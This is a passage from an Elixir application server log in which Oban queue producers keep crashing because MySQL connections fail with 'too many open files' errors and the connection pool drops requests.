    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:43:04.239345Z], limit: 5, uuid: "cce7d2d4-de6c-4984-87a5-c48945f005d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.239351Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67086>, refresh_timer: #Reference<0.2525715032.1099431938.67049>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:17.185000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:18.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:18.534000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:19.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:26.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:43:15.239440Z], limit: 10, uuid: "b1fb712d-ea7d-4102-99e7-f3422e645c9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.239446Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73961>, refresh_timer: #Reference<0.2525715032.1121189889.216971>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:43:15.241798Z], limit: 5, uuid: "9a3b774c-ca72-40bc-91e8-1c0ae8a8e409", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.241803Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74019>, refresh_timer: #Reference<0.2525715032.1121189889.216998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:43:15.239707Z], limit: 3, uuid: "86fedc15-be8a-4319-b7d8-171af468b61b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.239712Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73960>, refresh_timer: #Reference<0.2525715032.1068498948.73943>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:43:15.239900Z], limit: 20, uuid: "f74ae3d4-20c1-4b8a-b8a6-61e241772d86", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.239905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73959>, refresh_timer: #Reference<0.2525715032.1068498948.73950>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:43:15.239811Z], limit: 50, uuid: "b5cff94d-df9b-4ad6-90d6-15bc46ba216e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.239816Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73962>, refresh_timer: #Reference<0.2525715032.1121189889.216982>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:43:15.239419Z], limit: 5, uuid: "6ad68f6d-a736-40ba-aefe-c54917d918d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:15.239429Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.73963>, refresh_timer: #Reference<0.2525715032.1099431938.67161>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:27.357000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:27.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:28.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:31.675000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:34.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:34.197000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:34.605000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:36.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:36.872000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:38.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:43:27.238750Z], limit: 3, uuid: "ab834657-3f69-493a-acd1-d9a914016420", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:27.238757Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67239>, refresh_timer: #Reference<0.2525715032.1099431938.67181>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
